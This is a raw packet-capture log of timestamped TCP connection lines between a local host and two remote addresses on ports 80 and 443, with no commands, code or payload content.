                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.970940113 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.970956087 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.971926928 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.971980095 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.972068071 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.972109079 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.973104000 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.973155022 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.973226070 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.973268986 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.974216938 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.974261999 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.974427938 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.974476099 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.975394964 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.975447893 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.975455046 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.975498915 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.976711988 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.976768017 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.976932049 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.976982117 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.977684021 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.977782011 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.977834940 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.978816986 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.978874922 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.978916883 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.978964090 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.980062962 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.980123043 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.980190992 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.980237007 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.981153011 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.981223106 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.981256962 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.981298923 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.982299089 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.982426882 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.982471943 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.982508898 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.983479977 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.983521938 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.983566999 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.983627081 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.984596968 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.984642029 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.984666109 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.984710932 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.985718966 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.985760927 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.985822916 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.986083984 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.986900091 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.987049103 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.987108946 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.987160921 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.988101959 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.988152027 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.988179922 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.988229990 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.989219904 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.989291906 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.989303112 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.989330053 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.990417957 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.990434885 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.990473032 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.990489006 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.991477013 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.991538048 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.991564989 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.991605997 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.992614031 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.992661953 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.992693901 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.992737055 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.993757010 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.993818045 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.993851900 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.993897915 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.994966030 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.995074034 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.995148897 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.995198011 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.996094942 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.996141911 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.996175051 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.996208906 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.997242928 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.997284889 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.997387886 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.997427940 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.998414993 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.998431921 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.998461008 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.998486042 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.999510050 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.999535084 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.999561071 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.999589920 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.000678062 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.000739098 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.000760078 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.000828981 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.001786947 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.001974106 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.057149887 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.057215929 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.059932947 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.059958935 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.060363054 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.060446024 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.060698986 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.103374004 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.111854076 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.112026930 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.112104893 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.112606049 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.112665892 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.112747908 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.112802982 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.113655090 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.113794088 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.113848925 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.114741087 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.114798069 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.138118982 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.138180017 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.138199091 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.138252974 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.138567924 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.138636112 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.138720989 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.138792038 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.139764071 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.139826059 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.139909983 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.139985085 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.140934944 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.140996933 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.141088009 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.141146898 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.142077923 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.142129898 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.142244101 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.142297983 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.143156052 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.143208981 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.143277884 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.143332958 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.144344091 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.144447088 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.144503117 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.144558907 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.145524025 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.145576000 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.145658016 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.145713091 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.146672010 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.146728039 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.146810055 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.146868944 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.147770882 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.147830963 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.147875071 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.147929907 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.148899078 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.148957968 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.149028063 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.149085999 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.150094032 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.150150061 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.150217056 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.150271893 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.151372910 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.151427031 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.151673079 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.151730061 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.153063059 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.153098106 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.153122902 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.153151989 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.154155970 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.154192924 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.154215097 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.154242992 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.155210018 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.155267000 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.155370951 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.155428886 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.156342030 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.156400919 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.156416893 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.156470060 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.157578945 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.157613039 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.157635927 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.157665014 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.158473969 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.158857107 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.158922911 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.159532070 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.159590006 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.159672976 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.159729004 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.160506964 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.160581112 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.160643101 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.160698891 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.161534071 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.161592007 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.161705971 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.162971973 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.163006067 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.163029909 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.163058996 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.163897038 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.163953066 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.164038897 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.164093018 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.164979935 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.165035963 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.165103912 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.165158033 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.166197062 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.166363001 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.166419983 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.167356968 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.167411089 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.167414904 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.167467117 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.168524981 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.168559074 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.168580055 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.168607950 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.169656038 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.169925928 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.169984102 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.170762062 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.170814991 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.170896053 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.170953989 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.172194004 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.172250032 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.172344923 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.172399998 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.173337936 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.173388004 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.173449993 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.173505068 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.174226046 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.174382925 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.174453974 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.175553083 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.175587893 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.175611019 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.175643921 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.176500082 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.176554918 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.176605940 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.176661015 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.177670002 CET804985031.41.244.11192.168.2.4
